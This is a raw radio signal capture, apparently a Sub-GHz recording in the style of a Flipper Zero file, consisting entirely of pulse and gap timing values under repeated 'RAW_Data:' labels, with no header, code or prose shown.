-370 131 -364 93 -3746 101 -356 105 -370 93 -384 351 -138 303 -156 313 -158 339 -128 339 -128 95 -370 329 -140 337 -128 355 -126 89 -376 101 -368 127 -356 349 -140 105 -362 103 -370 343 -142 303 -130 359 -124 339 -128 91 -370 131 -364 93 -3722 135 -352 105 -368 93 -394 329 -134 329 -124 359 -106 357 -144 333 -94 125 -364 353 -140 355 -106 335 -124 107 -376 99 -362 123 -360 327 -122 123 -360 -RAW_Data: 139 -336 369 -108 337 -130 355 -124 361 -104 103 -384 103 -362 103 -3710 131 -358 103 -384 105 -336 357 -142 337 -126 351 -94 391 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -376 97 -362 123 -360 327 -124 121 -358 139 -334 371 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3748 101 -354 143 -332 127 -350 351 -140 303 -156 313 -126 371 -128 337 -130 93 -368 367 -106 337 -130 355 -126 89 -376 101 -370 125 -354 353 -138 105 -362 103 -370 345 -106 337 -132 357 -126 337 -128 91 -370 131 -366 91 -3746 101 -356 105 -370 125 -350 351 -140 333 -92 377 -96 369 -128 337 -128 95 -366 369 -106 339 -130 355 -94 121 -374 137 -334 125 -356 351 -140 105 -362 105 -370 343 -108 337 -132 355 -124 339 -128 91 -368 131 -364 93 -3748 101 -356 105 -370 125 -364 331 -134 329 -124 337 -128 369 -96 371 -96 125 -370 363 -106 337 -128 353 -124 91 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 93 -3748 101 -356 107 -368 125 -352 351 -138 303 -156 315 -126 369 -130 337 -128 95 -368 365 -106 337 -130 355 -124 91 -374 103 -368 127 -354 353 -138 105 -362 103 -370 345 -106 337 -132 357 -126 337 -128 93 -368 131 -366 91 -3746 97 -370 93 -366 139 -336 369 -106 339 -128 355 -124 337 -130 337 -128 93 -368 369 -106 339 -130 357 -124 91 -374 139 -334 125 -356 351 -140 105 -364 103 -370 343 -108 337 -132 357 -124 337 -128 93 -366 131 -366 91 -3750 99 -356 107 -368 125 -352 351 -140 303 -156 313 -126 369 -130 337 -130 93 -370 363 -108 337 -128 355 -126 89 -376 101 -368 125 -356 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 337 -128 93 -368 131 -366 91 -3750 99 -358 105 -370 93 -384 351 -102 337 -124 375 -94 371 -128 337 -130 93 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 351 -138 107 -362 103 -370 343 -106 371 -98 359 -124 339 -128 91 -368 133 -364 91 -3750 99 -356 143 -334 125 -364 331 -134 329 -124 337 -128 337 -128 339 -128 125 -372 327 -140 337 -128 353 -124 89 -376 137 -334 125 -354 353 -138 105 -362 105 -370 343 -106 339 -130 359 -124 337 -130 91 -368 131 -366 91 -3744 99 -392 105 -336 127 -354 351 -138 303 -158 313 -128 369 -128 339 -128 95 -368 331 -140 337 -130 323 -156 91 -374 103 -368 93 -388 351 -140 105 -362 103 -370 343 -142 301 -132 359 -124 339 -128 91 -370 -RAW_Data: 131 -364 93 -3742 97 -372 93 -368 139 -334 369 -108 339 -130 355 -124 337 -130 337 -130 93 -368 367 -106 339 -130 355 -126 89 -376 137 -334 125 -356 351 -140 105 -362 105 -368 343 -106 339 -132 359 -124 337 -128 93 -368 131 -364 93 -3742 97 -370 95 -378 93 -382 355 -104 351 -140 333 -124 359 -104 359 -108 141 -362 317 -140 359 -106 335 -126 143 -342 97 -364 125 -358 327 -122 123 -362 139 -334 371 -106 337 -130 357 -124 359 -104 103 -384 103 -362 103 -3714 131 -358 103 -384 107 -336 355 -140 337 -128 331 -140 361 -104 345 -138 103 -392 319 -140 313 -140 335 -124 107 -378 97 -364 123 -356 329 -122 139 -376 103 -366 325 -138 335 -128 319 -158 359 -104 103 -380 103 -394 69 -3748 97 -360 101 -386 105 -368 325 -142 335 -126 351 -126 337 -128 339 -128 95 -366 369 -106 339 -132 355 -124 91 -376 137 -334 125 -354 351 -140 105 -362 103 -370 345 -106 337 -132 359 -124 337 -130 91 -368 131 -366 91 -3744 101 -356 141 -336 125 -354 349 -140 303 -156 315 -126 369 -130 337 -130 93 -370 365 -106 337 -130 355 -126 89 -376 101 -368 125 -356 353 -138 105 -362 103 -370 345 -140 303 -130 359 -126 337 -128 93 -368 131 -366 93 -3744 101 -356 141 -334 125 -354 351 -138 333 -92 379 -94 369 -128 337 -130 93 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3742 99 -392 105 -336 127 -354 351 -138 335 -126 315 -156 339 -128 339 -128 95 -368 365 -108 337 -128 355 -126 89 -376 101 -368 127 -356 351 -138 107 -362 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3750 99 -356 107 -368 93 -384 351 -104 369 -92 375 -96 369 -128 337 -128 95 -366 367 -108 337 -130 357 -124 89 -376 137 -334 125 -358 349 -140 105 -364 103 -370 343 -108 339 -130 357 -124 337 -130 91 -368 131 -366 91 -3744 99 -392 105 -334 127 -354 351 -140 303 -156 315 -158 337 -128 339 -128 95 -368 367 -106 337 -130 355 -126 89 -376 101 -368 125 -356 353 -138 105 -362 105 -368 345 -142 303 -130 359 -124 337 -130 91 -368 131 -366 93 -3750 99 -356 107 -368 93 -396 331 -132 331 -122 361 -104 359 -144 333 -94 125 -362 353 -142 355 -106 335 -124 107 -378 97 -362 125 -372 317 -134 139 -362 105 -336 371 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3752 101 -354 107 -368 125 -364 331 -132 -RAW_Data: 331 -124 337 -128 337 -130 337 -128 125 -372 327 -142 337 -128 351 -94 121 -374 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 93 -3748 99 -394 105 -334 125 -354 351 -138 303 -156 315 -126 369 -128 339 -128 95 -368 367 -106 337 -128 355 -126 89 -376 101 -370 125 -354 353 -138 107 -362 103 -370 345 -140 303 -130 359 -126 337 -128 91 -370 131 -366 93 -3748 99 -356 107 -368 93 -384 351 -104 367 -94 377 -94 369 -130 337 -128 95 -366 367 -108 337 -130 357 -124 89 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3748 99 -392 105 -336 125 -354 351 -138 303 -156 315 -126 369 -130 337 -128 95 -368 367 -106 337 -130 353 -126 89 -376 101 -370 125 -356 353 -138 105 -362 103 -370 343 -140 303 -132 361 -124 337 -128 93 -368 131 -366 91 -3744 97 -370 95 -368 141 -334 369 -106 339 -128 355 -124 337 -130 337 -128 93 -368 369 -108 337 -132 357 -124 91 -374 139 -332 127 -356 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 91 -370 131 -364 91 -3740 97 -372 95 -378 139 -338 349 -142 307 -134 329 -156 359 -104 357 -108 105 -396 317 -140 357 -106 335 -124 109 -376 99 -362 125 -358 327 -122 139 -376 103 -366 325 -140 335 -128 319 -156 361 -104 101 -382 103 -394 69 -3748 97 -360 101 -384 105 -368 327 -140 337 -128 351 -94 391 -102 359 -108 105 -398 319 -140 357 -106 335 -122 109 -376 97 -362 125 -358 327 -122 123 -360 139 -336 371 -106 337 -130 355 -124 361 -104 103 -386 103 -362 103 -3738 99 -358 137 -352 107 -368 327 -140 339 -126 321 -156 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 351 -140 105 -362 103 -370 343 -142 303 -132 359 -124 337 -128 93 -368 131 -366 93 -3748 101 -356 105 -370 125 -352 351 -104 367 -94 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -124 91 -374 139 -332 127 -356 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -128 91 -370 131 -364 91 -3740 97 -372 95 -378 123 -352 355 -140 317 -140 333 -124 361 -104 357 -144 105 -362 315 -140 359 -108 335 -124 143 -340 99 -366 123 -390 293 -156 93 -400 105 -334 369 -106 337 -130 357 -124 337 -130 91 -368 133 -364 93 -3748 101 -356 105 -370 125 -352 351 -140 331 -94 377 -94 369 -128 339 -128 95 -366 367 -108 -RAW_Data: 337 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -364 103 -370 343 -108 337 -132 357 -124 337 -128 93 -368 131 -364 91 -3746 99 -392 105 -334 127 -356 349 -140 335 -124 317 -126 369 -128 339 -128 95 -368 365 -108 337 -128 355 -126 89 -376 101 -370 125 -356 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -364 93 -3750 101 -356 105 -370 93 -384 349 -104 369 -92 375 -96 369 -128 337 -128 95 -366 369 -106 339 -130 355 -124 91 -374 139 -332 127 -356 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -128 91 -368 131 -366 91 -3744 99 -392 105 -336 127 -356 349 -140 333 -126 315 -126 371 -128 339 -128 93 -370 365 -106 339 -130 353 -126 89 -376 101 -370 125 -356 351 -140 105 -362 103 -370 345 -140 303 -130 359 -126 337 -128 91 -370 131 -366 93 -3748 99 -356 107 -368 125 -354 351 -138 333 -92 377 -96 369 -128 337 -128 95 -368 367 -106 339 -130 355 -124 91 -374 139 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3752 101 -356 107 -368 125 -350 351 -104 369 -92 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -126 89 -376 137 -334 125 -356 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3740 97 -372 95 -378 123 -352 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 315 -140 359 -108 335 -124 143 -342 97 -366 123 -356 327 -154 95 -400 105 -334 369 -106 337 -130 357 -124 337 -130 91 -368 133 -364 93 -3742 101 -392 105 -334 127 -356 351 -138 333 -94 377 -94 369 -128 339 -128 93 -368 367 -108 337 -130 355 -126 89 -376 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -132 357 -124 337 -130 91 -368 131 -366 91 -3742 97 -370 95 -380 123 -350 355 -140 317 -142 333 -124 359 -104 359 -142 105 -364 315 -140 359 -106 335 -126 143 -340 99 -364 125 -390 293 -154 95 -398 107 -334 369 -106 337 -130 357 -124 359 -104 103 -384 103 -396 69 -3740 97 -394 101 -354 107 -366 329 -140 337 -128 351 -124 339 -128 337 -128 95 -366 369 -106 339 -132 357 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3748 99 -392 105 -336 125 -354 349 -140 335 -126 315 -126 369 -128 339 -128 95 -368 367 -106 337 -130 353 -126 89 -376 103 -368 125 -356 353 -138 -RAW_Data: 107 -362 103 -368 345 -140 303 -132 359 -126 337 -128 91 -370 131 -364 93 -3744 99 -392 105 -334 127 -356 351 -140 331 -94 377 -94 369 -130 337 -128 93 -368 367 -108 339 -128 357 -124 89 -376 137 -334 125 -356 353 -140 105 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3754 99 -356 107 -368 125 -352 351 -140 301 -158 313 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -124 89 -376 101 -370 125 -356 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 337 -130 91 -370 131 -364 91 -3746 97 -370 95 -380 93 -380 355 -104 351 -140 333 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -124 143 -340 99 -364 123 -360 327 -122 123 -362 139 -334 371 -106 337 -130 357 -124 359 -104 103 -384 105 -360 103 -3744 99 -360 135 -352 105 -368 359 -108 337 -128 351 -94 391 -106 357 -108 105 -398 319 -142 355 -106 333 -124 109 -374 99 -362 123 -360 327 -122 141 -342 137 -334 353 -140 335 -128 349 -94 369 -128 93 -366 131 -366 91 -3740 97 -372 95 -378 123 -352 355 -140 317 -140 333 -124 361 -104 357 -144 105 -362 317 -140 357 -108 335 -124 143 -342 99 -364 125 -354 327 -156 93 -400 105 -332 371 -106 337 -132 357 -124 337 -128 93 -368 131 -366 91 -3752 101 -354 107 -368 93 -384 351 -104 367 -94 375 -94 369 -128 339 -128 93 -368 367 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -368 347 -106 339 -132 357 -124 337 -130 91 -368 131 -364 93 -3746 101 -392 105 -334 127 -354 349 -140 333 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 337 -128 93 -368 131 -366 93 -3748 101 -356 141 -334 125 -352 351 -138 333 -94 377 -94 369 -130 337 -128 93 -368 367 -108 337 -130 355 -124 91 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -368 131 -364 93 -3740 97 -372 127 -344 125 -352 355 -140 319 -140 333 -124 361 -104 359 -142 105 -362 317 -140 359 -106 335 -124 143 -342 99 -364 125 -390 293 -154 93 -400 105 -336 369 -106 337 -130 357 -124 337 -128 93 -368 131 -366 93 -3742 97 -370 95 -378 93 -382 353 -106 351 -140 333 -124 361 -104 359 -106 143 -362 353 -106 359 -106 335 -124 145 -340 99 -364 123 -356 327 -124 123 -364 139 -334 371 -106 337 -130 357 -124 337 -128 -RAW_Data: 93 -368 131 -364 91 -3754 99 -356 107 -368 125 -366 331 -134 331 -122 337 -128 371 -96 369 -96 127 -370 363 -106 337 -128 353 -94 121 -374 137 -334 125 -356 351 -140 105 -364 103 -370 343 -108 337 -132 357 -124 337 -130 91 -368 131 -364 93 -3750 99 -356 143 -334 125 -354 349 -140 303 -156 315 -126 369 -128 339 -128 95 -368 365 -108 337 -128 355 -126 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -142 303 -130 359 -124 339 -128 91 -370 131 -366 91 -3720 135 -346 123 -354 139 -334 367 -94 345 -136 335 -122 389 -104 359 -108 105 -364 349 -140 325 -144 335 -94 125 -364 141 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -370 131 -364 91 -3750 101 -392 105 -334 127 -352 351 -140 301 -158 313 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 125 -356 353 -138 105 -362 105 -368 343 -142 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3752 99 -356 107 -368 93 -384 351 -104 367 -94 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -124 91 -374 139 -332 127 -356 351 -140 105 -362 105 -370 343 -108 339 -130 357 -126 337 -128 91 -370 131 -364 91 -3746 101 -392 105 -334 127 -354 349 -140 335 -126 315 -126 369 -130 337 -128 95 -368 367 -106 337 -130 357 -124 89 -376 101 -368 127 -356 351 -140 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3748 101 -356 141 -334 125 -352 351 -140 331 -94 377 -94 369 -130 337 -130 93 -368 367 -106 339 -130 355 -124 91 -376 137 -334 125 -356 351 -140 105 -364 105 -368 345 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3748 101 -392 105 -334 125 -354 351 -138 335 -126 315 -126 369 -128 339 -128 95 -368 365 -108 337 -130 355 -126 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -364 93 -3740 97 -372 93 -380 93 -384 353 -106 349 -142 331 -124 361 -104 359 -108 141 -362 353 -106 359 -108 335 -124 143 -340 99 -364 123 -358 357 -92 123 -364 139 -336 371 -106 337 -130 357 -124 337 -128 91 -368 131 -366 91 -3742 97 -370 127 -346 123 -354 355 -104 353 -142 333 -124 361 -104 357 -108 141 -364 317 -140 361 -106 335 -124 145 -340 97 -364 123 -360 327 -122 125 -360 139 -334 371 -108 337 -130 357 -124 337 -128 93 -368 131 -364 91 -3744 101 -392 105 -334 127 -356 -RAW_Data: 349 -140 335 -124 317 -158 337 -128 339 -128 95 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3748 101 -356 141 -334 125 -352 351 -140 331 -94 379 -94 369 -128 337 -130 93 -368 367 -108 337 -130 355 -124 91 -376 137 -334 125 -356 351 -140 105 -362 105 -370 345 -106 339 -132 357 -124 337 -130 91 -368 131 -366 91 -3742 99 -392 105 -336 127 -358 349 -140 333 -126 315 -158 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 303 -132 359 -124 337 -128 93 -368 131 -366 91 -3746 99 -392 105 -336 127 -356 349 -140 333 -92 377 -96 369 -128 337 -130 93 -368 367 -108 337 -130 355 -124 91 -374 139 -332 127 -354 351 -140 105 -364 105 -370 343 -108 339 -130 359 -124 337 -128 91 -368 131 -366 91 -3748 101 -392 105 -334 125 -356 349 -140 333 -126 317 -126 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 127 -354 353 -138 105 -362 105 -370 343 -142 303 -132 357 -126 337 -128 91 -370 131 -366 91 -3752 101 -356 105 -370 125 -364 331 -134 331 -122 361 -104 359 -144 333 -94 125 -364 353 -140 355 -108 333 -124 109 -376 97 -362 125 -358 329 -122 123 -360 141 -334 371 -106 337 -130 357 -124 337 -128 91 -368 133 -364 91 -3740 97 -372 125 -346 139 -340 351 -142 341 -100 359 -124 361 -104 357 -108 105 -396 317 -140 357 -108 335 -124 109 -376 99 -364 123 -358 327 -122 139 -376 103 -366 325 -140 335 -128 351 -126 359 -104 103 -382 103 -394 69 -3742 99 -392 101 -356 105 -370 327 -140 337 -128 351 -94 391 -104 357 -108 105 -398 319 -142 355 -108 333 -124 109 -374 97 -364 123 -360 327 -124 123 -360 139 -334 371 -106 339 -130 355 -124 359 -106 103 -384 103 -360 105 -3742 97 -372 97 -372 129 -338 347 -124 337 -126 339 -128 337 -162 305 -158 93 -368 359 -132 327 -122 339 -128 121 -370 101 -368 91 -384 351 -138 105 -362 105 -368 343 -142 301 -132 359 -124 337 -130 91 -368 133 -364 93 -3744 99 -392 105 -336 127 -356 351 -138 333 -94 377 -94 369 -130 337 -128 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 127 -356 351 -140 105 -362 105 -370 343 -108 339 -130 359 -124 337 -128 91 -368 131 -364 93 -3744 99 -392 105 -336 127 -358 349 -140 333 -126 315 -158 339 -128 337 -130 93 -368 -RAW_Data: 367 -106 337 -130 357 -124 89 -378 101 -368 127 -356 351 -138 107 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3742 97 -372 93 -380 103 -372 347 -142 339 -100 359 -124 337 -128 337 -130 123 -336 371 -106 373 -98 359 -124 91 -376 137 -334 127 -356 351 -140 105 -364 105 -368 345 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3750 99 -394 105 -334 125 -354 351 -140 303 -156 313 -158 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3748 99 -392 105 -334 127 -356 349 -140 333 -92 379 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 127 -356 351 -140 105 -362 105 -370 343 -106 341 -130 357 -124 339 -128 91 -368 131 -366 91 -3740 97 -372 127 -346 123 -354 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 315 -140 359 -108 335 -124 143 -342 99 -364 125 -356 327 -154 95 -398 105 -336 367 -108 337 -130 357 -124 337 -128 93 -368 131 -366 93 -3742 97 -372 93 -380 103 -372 347 -142 337 -100 361 -124 337 -128 337 -130 123 -336 373 -106 371 -100 359 -124 89 -376 137 -334 125 -356 351 -140 105 -364 103 -370 345 -106 341 -130 357 -124 339 -128 91 -368 133 -364 91 -3750 99 -394 105 -334 125 -354 351 -140 303 -156 315 -126 369 -128 339 -128 95 -368 367 -106 337 -130 355 -126 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3750 101 -356 141 -334 125 -366 331 -134 331 -122 361 -104 359 -144 333 -94 125 -364 353 -140 355 -108 333 -124 145 -340 97 -362 125 -356 327 -122 125 -362 141 -334 371 -106 339 -128 357 -124 337 -130 91 -368 131 -366 91 -3740 97 -372 125 -346 123 -354 355 -140 319 -140 335 -124 359 -104 359 -142 105 -362 317 -140 359 -106 337 -124 143 -342 99 -364 123 -390 293 -156 93 -400 105 -334 369 -106 339 -130 357 -124 339 -128 91 -370 131 -366 91 -3744 101 -392 105 -334 127 -356 351 -138 333 -94 377 -94 369 -128 337 -130 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -364 103 -370 345 -108 339 -130 359 -124 337 -128 91 -368 131 -366 91 -3748 99 -392 107 -334 127 -354 349 -140 335 -126 315 -126 369 -128 339 -128 95 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 -RAW_Data: 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3744 99 -392 105 -334 129 -354 353 -138 333 -126 345 -94 369 -130 337 -130 93 -368 367 -106 339 -130 355 -126 89 -376 137 -334 125 -356 351 -140 105 -362 105 -370 345 -106 339 -132 357 -124 339 -128 91 -368 131 -366 91 -3744 99 -392 105 -336 127 -372 333 -132 331 -124 359 -106 357 -144 333 -94 139 -376 355 -106 343 -102 361 -124 109 -374 97 -364 123 -360 327 -122 141 -344 135 -334 353 -140 335 -128 349 -126 337 -128 91 -368 131 -366 91 -3740 97 -372 125 -346 125 -352 355 -104 353 -142 335 -124 359 -104 359 -106 143 -362 353 -106 359 -106 335 -124 145 -340 99 -362 125 -358 327 -122 123 -364 139 -334 371 -108 337 -130 355 -124 339 -128 91 -368 131 -364 93 -3742 97 -372 125 -346 123 -354 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 315 -140 359 -108 335 -124 143 -340 99 -366 125 -390 293 -154 95 -398 107 -334 369 -106 337 -130 357 -126 337 -128 93 -368 131 -366 93 -3742 97 -370 95 -378 105 -370 349 -140 339 -100 359 -124 337 -128 339 -128 125 -336 371 -106 373 -98 359 -124 91 -374 139 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -132 357 -124 339 -128 91 -368 133 -364 91 -3748 101 -392 105 -334 127 -354 349 -140 335 -124 317 -126 369 -128 339 -128 95 -368 365 -106 337 -130 357 -124 89 -376 103 -368 127 -356 351 -140 105 -362 103 -370 345 -140 303 -132 359 -126 337 -128 91 -370 131 -364 93 -3744 99 -392 105 -336 127 -356 349 -140 333 -124 347 -94 369 -128 339 -128 95 -366 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -362 105 -372 345 -106 339 -132 355 -124 339 -128 91 -368 131 -366 91 -3748 101 -392 105 -334 127 -368 333 -134 331 -124 337 -126 339 -128 369 -96 127 -370 363 -106 337 -128 353 -94 121 -374 137 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 91 -3742 95 -372 127 -344 141 -338 351 -142 341 -100 361 -124 359 -104 357 -108 105 -398 315 -140 359 -108 335 -124 107 -378 99 -364 123 -358 327 -122 139 -376 103 -366 325 -140 335 -128 351 -126 359 -104 103 -382 103 -394 69 -3740 97 -374 95 -372 129 -340 347 -124 337 -126 371 -96 369 -98 369 -126 93 -390 315 -134 335 -122 375 -94 121 -374 101 -370 125 -352 353 -140 105 -362 105 -370 343 -106 339 -132 357 -124 -RAW_Data: 339 -128 91 -368 131 -364 93 -3744 99 -392 105 -334 129 -358 349 -140 333 -126 317 -126 369 -128 339 -128 95 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 353 -138 105 -364 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3744 101 -392 103 -336 125 -356 351 -138 333 -126 347 -94 369 -128 337 -130 93 -366 369 -106 339 -130 357 -124 91 -376 137 -334 125 -354 353 -138 107 -362 103 -370 347 -106 371 -98 359 -124 337 -128 93 -368 131 -364 93 -3738 97 -372 127 -344 141 -338 353 -142 339 -100 361 -124 361 -102 359 -106 105 -398 317 -140 357 -106 335 -124 145 -340 97 -364 125 -390 293 -154 95 -400 103 -336 369 -106 337 -130 357 -124 337 -130 91 -368 133 -364 93 -3742 97 -370 95 -378 123 -354 353 -106 351 -142 335 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -122 145 -342 97 -364 123 -360 327 -124 123 -360 139 -336 371 -106 337 -130 357 -124 337 -130 91 -368 131 -366 91 -3748 99 -392 105 -334 127 -356 349 -140 335 -124 317 -126 369 -128 339 -128 95 -368 365 -108 337 -130 355 -126 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 337 -130 91 -370 131 -366 91 -3754 101 -356 105 -370 93 -396 329 -134 331 -122 361 -106 357 -144 333 -94 125 -364 355 -140 355 -108 333 -124 109 -376 97 -362 125 -370 319 -134 139 -362 105 -336 373 -106 339 -128 357 -124 337 -128 93 -368 131 -364 93 -3752 101 -356 141 -334 125 -366 331 -134 331 -124 359 -106 357 -144 333 -94 139 -376 355 -106 343 -102 363 -124 107 -376 97 -360 125 -360 325 -124 139 -344 137 -334 353 -140 335 -128 349 -126 337 -128 93 -366 131 -366 91 -3746 99 -392 105 -336 127 -354 351 -138 335 -126 315 -126 369 -130 337 -130 93 -368 365 -108 337 -130 355 -126 89 -376 103 -368 127 -356 351 -138 107 -362 103 -370 345 -140 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3740 97 -372 127 -346 123 -354 353 -104 389 -106 333 -124 361 -104 357 -108 141 -364 351 -106 359 -108 335 -124 145 -340 99 -364 123 -358 327 -124 123 -364 139 -334 371 -108 337 -130 355 -126 337 -128 93 -366 131 -366 91 -3744 99 -392 105 -336 127 -358 349 -140 333 -126 315 -126 371 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -376 101 -368 127 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3754 101 -342 125 -358 -RAW_Data: 139 -334 367 -92 379 -104 335 -122 373 -96 369 -130 91 -368 343 -126 361 -104 337 -124 123 -360 139 -336 127 -356 351 -138 107 -362 105 -368 347 -106 339 -132 357 -124 339 -128 91 -368 131 -364 93 -3752 101 -356 141 -334 125 -352 351 -140 303 -156 315 -126 369 -128 339 -128 95 -368 365 -106 339 -130 355 -126 89 -376 103 -368 125 -356 353 -138 105 -364 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3744 99 -392 105 -334 127 -356 351 -140 333 -126 345 -94 369 -130 337 -128 95 -368 367 -106 339 -130 357 -124 91 -374 139 -332 127 -354 351 -140 105 -364 103 -372 343 -108 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3746 101 -392 105 -334 127 -356 349 -140 333 -126 317 -126 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 305 -130 361 -124 337 -128 93 -368 131 -366 91 -3754 101 -344 123 -358 139 -334 369 -92 347 -134 335 -124 373 -94 369 -130 91 -368 345 -126 359 -106 335 -124 123 -360 127 -344 131 -368 325 -140 107 -346 127 -372 345 -124 339 -128 337 -128 339 -126 127 -346 125 -374 95 -3714 137 -340 135 -334 123 -388 325 -124 349 -126 337 -128 339 -128 337 -128 125 -348 355 -138 335 -126 347 -94 121 -374 137 -334 125 -354 353 -140 105 -362 105 -370 343 -106 339 -132 357 -124 339 -128 91 -368 131 -366 93 -3744 99 -392 105 -334 127 -358 351 -138 335 -126 315 -158 337 -130 337 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 107 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3752 101 -356 141 -334 125 -352 351 -138 333 -94 377 -96 369 -128 337 -128 95 -366 369 -106 339 -130 355 -124 91 -376 137 -334 125 -356 351 -138 107 -362 105 -370 345 -106 339 -132 357 -124 339 -128 91 -370 131 -364 91 -3744 99 -392 105 -336 127 -358 349 -140 335 -124 317 -158 337 -130 337 -128 95 -368 365 -108 337 -130 355 -126 89 -376 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3750 99 -392 105 -336 125 -354 351 -140 331 -94 377 -94 369 -128 339 -128 95 -366 369 -106 337 -130 357 -124 91 -376 137 -334 125 -356 351 -138 107 -362 105 -370 347 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3750 99 -394 105 -334 127 -354 349 -140 335 -124 315 -126 369 -130 337 -130 -RAW_Data: 93 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -358 351 -140 105 -362 103 -370 345 -140 303 -132 359 -124 337 -130 91 -368 133 -366 91 -3748 101 -392 105 -334 127 -354 351 -138 333 -94 377 -94 369 -130 337 -128 95 -366 369 -106 339 -130 355 -124 91 -374 139 -332 127 -356 351 -138 107 -362 105 -370 347 -106 339 -130 357 -124 337 -130 91 -368 131 -366 91 -3748 99 -392 105 -334 127 -356 349 -140 335 -126 315 -158 337 -128 339 -128 95 -368 365 -106 339 -130 355 -126 59 -956354 167 -332 121 -376 125 -340 347 -132 335 -122 359 -138 325 -142 335 -126 95 -366 355 -140 317 -140 333 -124 109 -376 97 -364 125 -356 327 -124 141 -340 137 -334 355 -138 335 -126 351 -124 339 -128 91 -370 129 -364 91 -3716 135 -356 105 -370 91 -382 327 -126 357 -124 359 -104 359 -108 335 -126 141 -340 351 -142 339 -100 361 -124 109 -374 97 -360 